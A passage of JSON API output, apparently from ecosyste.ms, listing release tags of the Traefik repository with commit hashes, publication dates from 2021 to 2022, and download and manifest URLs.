.9.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc4/manifests"},{"name":"v2.8.6","sha":"7758880f3f71727b8536fb67d748109398543170","kind":"commit","published_at":"2022-09-23T13:24:15.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.6/manifests"},{"name":"v2.9.0-rc3","sha":"5bc03af75fe6edbb5600e427df2ccc41323ca8a9","kind":"commit","published_at":"2022-09-16T14:00:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc3/manifests"},{"name":"v2.9.0-rc2","sha":"6c2c561d8f935d76ccd07d28e1455c7768adc153","kind":"commit","published_at":"2022-09-14T15:33:51.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc2/manifests"},{"name":"v2.9.0-rc1","sha":"e9f98fb6eb250c0a726c74cce59ca2a9c6f2ddbb","kind":"commit","published_at":"2022-09-14T14:52:03.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.9.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.9.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.9.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.9.0-rc1/manifests"},{"name":"v2.8.5","sha":"8ddc37d52864a347750393e7906271c458f77e46","kind":"commit","published_at":"2022-09-13T15:13:58.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.5/manifests"},{"name":"v2.8.4","sha":"32e44816c9445f722fdcd01d9a06bde162a1d57c","kind":"commit","published_at":"2022-09-02T14:38:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.4/manifests"},{"name":"v2.8.3","sha":"b3f4f6bb21ba31b93fde72888f06564c53b02b93","kind":"commit","published_at":"2022-08-12T14:19:31.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"23c26d64eeb72eaecaecedc31ca740e83304fde2","kind":"commit","published_at":"2022-08-11T14:50:10.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"c9520480c2c70935817bedac1e8a3e9eaacf2f86","kind":"commit","published_at":"2022-07-11T14:02:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"9c4b336f3b70abeaab05be71a88f9f5d6d96bf43","kind":"commit","published_at":"2022-06-29T15:38:37.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0/manifests"},{"name":"v2.7.3","sha":"8b22101236c237660c0b702b15aadb8955a7d58a","kind":"commit","published_at":"2022-06-29T13:44:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.3/manifests"},{"name":"v2.8.0-rc2","sha":"62e17c659ecec58f630ebb1fec9c340c497555e1","kind":"commit","published_at":"2022-06-27T15:05:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0-rc2/manifests"},{"name":"v2.7.2","sha":"65a317010b798ab66d8a2deb3523b76836a92359","kind":"commit","published_at":"2022-06-27T13:52:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.2/manifests"},{"name":"v2.8.0-rc1","sha":"9ccc8cfb25e8d44342a49feeddcdb955f0815913","kind":"commit","published_at":"2022-06-13T15:26:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.8.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.8.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.8.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.8.0-rc1/manifests"},{"name":"v2.7.1","sha":"251798a77842625cb6af862e695ea7c35aedf69b","kind":"commit","published_at":"2022-06-13T13:30:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"34d29e7a105a4bddc6688e93258e44f290463e55","kind":"commit","published_at":"2022-05-24T16:58:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0/manifests"},{"name":"v2.6.7","sha":"5aa1220e5a89ad9b0b13668d9607655a51001d77","kind":"commit","published_at":"2022-05-24T14:14:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.7/manifests"},{"name":"v2.6.6","sha":"ff5cd9b5920ad3a7244f9645a2c841637168a8e8","kind":"commit","published_at":"2022-05-03T16:53:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.6/manifests"},{"name":"v2.6.5","sha":"6559d63d3cbc4db9c9eb337c6578d99d69a14902","kind":"commit","published_at":"2022-05-03T16:28:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.5/manifests"},{"name":"v2.6.4","sha":"e4ed8296618b094b2dd65fea0ad128dd6c0b2cbd","kind":"commit","published_at":"2022-05-03T14:32:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.4/manifests"},{"name":"v2.7.0-rc2","sha":"a49b537d9c3ddc96fb06394d7f351ed68ee13c74","kind":"commit","published_at":"2022-03-29T15:00:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0-rc2/manifests"},{"name":"v2.6.3","sha":"4b755dc58df61e9ca0ce23794a1cc6f4df464a68","kind":"commit","published_at":"2022-03-29T13:00:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.3/manifests"},{"name":"v2.7.0-rc1","sha":"a4560fa20dff30411f58c3c3e89c4d4f78630adb","kind":"commit","published_at":"2022-03-24T19:54:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.7.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.7.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.7.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.7.0-rc1/manifests"},{"name":"v2.6.2","sha":"9398222db766a276bb0e01969b6a4c39fa57931c","kind":"commit","published_at":"2022-03-24T16:14:57.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"84a081054688349fa4e2513599e3bf2395331492","kind":"commit","published_at":"2022-02-14T16:44:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"5a1c936ede0c4ef1d7adb82052f8240f64791aa6","kind":"commit","published_at":"2022-01-24T16:58:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0/manifests"},{"name":"v2.6.0-rc3","sha":"3bd5fc0f909171a845eb6eb1bf36c2db04b2b2de","kind":"commit","published_at":"2022-01-20T17:58:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.0-rc3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc3/manifests"},{"name":"v2.5.7","sha":"e5e48d1cc1e875107a5823cbc18d5af7b3fc080a","kind":"commit","published_at":"2022-01-20T16:08:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.7","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.7/manifests"},{"name":"v2.6.0-rc2","sha":"cf14504fd5267e572c0f20debfedd3558b028f5f","kind":"commit","published_at":"2022-01-12T15:40:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.0-rc2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc2/manifests"},{"name":"v2.5.6","sha":"f21f71786ad957558ed8f8400102b9512e8d5b9d","kind":"commit","published_at":"2021-12-22T16:22:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.6/manifests"},{"name":"v2.6.0-rc1","sha":"da092e653d1ff78aaeb333e445b2275e09670e7d","kind":"commit","published_at":"2021-12-20T16:02:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.6.0-rc1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.6.0-rc1/manifests"},{"name":"v1.7.34","sha":"bf650d7623bfb2bd3f0653364d8f0b4fc97782b6","kind":"commit","published_at":"2021-12-10T16:54:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.34","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.34/manifests"},{"name":"v2.5.5","sha":"54c77ecb54ccc4633b3e43d44e18068fa31fe42c","kind":"commit","published_at":"2021-12-10T16:52:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.5/manifests"},{"name":"v2.5.4","sha":"95dc43ce4a0b9a3cdfa1ce33e606af5ef0b09f5b","kind":"commit","published_at":"2021-11-08T17:36:13.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.4/manifests"},{"name":"v1.7.33","sha":"c309b3b0061d62acb73cd15891112be70fe5ae6b","kind":"commit","published_at":"2021-10-07T14:32:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.33","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.33/manifests"},{"name":"v1.7.32","sha":"8cfb429decdf2ce73c49457a65ba8f09c2d59a2d","kind":"commit","published_at":"2021-10-06T16:50:09.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.32","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.32/manifests"},{"name":"v1.7.31","sha":"d3afb208905c305a0b4ca88a95c7e3d42238f4f7","kind":"commit","published_at":"2021-10-04T16:16:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v1.7.31","html_url":"https://github.com/traefik/traefik/releases/tag/v1.7.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v1.7.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v1.7.31/manifests"},{"name":"v2.5.3","sha":"c7e13eb082122ed0b87f9ffd0388e37a55ce5e92","kind":"commit","published_at":"2021-09-20T15:30:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.3","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.3/manifests"},{"name":"v2.5.2","sha":"871e04cb1235026b44f86fab68433b19cc2ebc6e","kind":"commit","published_at":"2021-09-02T14:46:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.2","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"531a8ff24843bcd903c195dcf418dbb0eb5c8e0d","kind":"commit","published_at":"2021-08-20T16:27:12.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.1","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"e0b442a48b3f874c50e55087989855cc4b339e99","kind":"commit","published_at":"2021-08-17T16:04:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0/manifests"},{"name":"v2.4.14","sha":"35a40c87275bf8a86463125152d1b00343975ad4","kind":"commit","published_at":"2021-08-16T15:26:14.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.14","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.14/manifests"},{"name":"v2.5.0-rc6","sha":"81eb46e36d68a23de4332bb2213f46af54ceb271","kind":"commit","published_at":"2021-08-13T16:04:15.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc6","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc6/manifests"},{"name":"v2.5.0-rc5","sha":"d63cb1b4d6e7f939ab6b77a20f4e0a8f08564965","kind":"commit","published_at":"2021-08-03T17:58:08.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc5","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc5/manifests"},{"name":"v2.5.0-rc4","sha":"5c18967f0679e3cb8331422c5fa370b1b1bbd8b4","kind":"commit","published_at":"2021-08-03T16:42:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.5.0-rc4","html_url":"https://github.com/traefik/traefik/releases/tag/v2.5.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.5.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.5.0-rc4/manifests"},{"name":"v2.4.13","sha":"4fc077a5d2e1bc1f337e217680f3ca051039566d","kind":"commit","published_at":"2021-07-30T14:50:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.4.13","html_url":"https://github.com/traefik/traefik/releases/tag/v2.4.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.4.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.4.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2F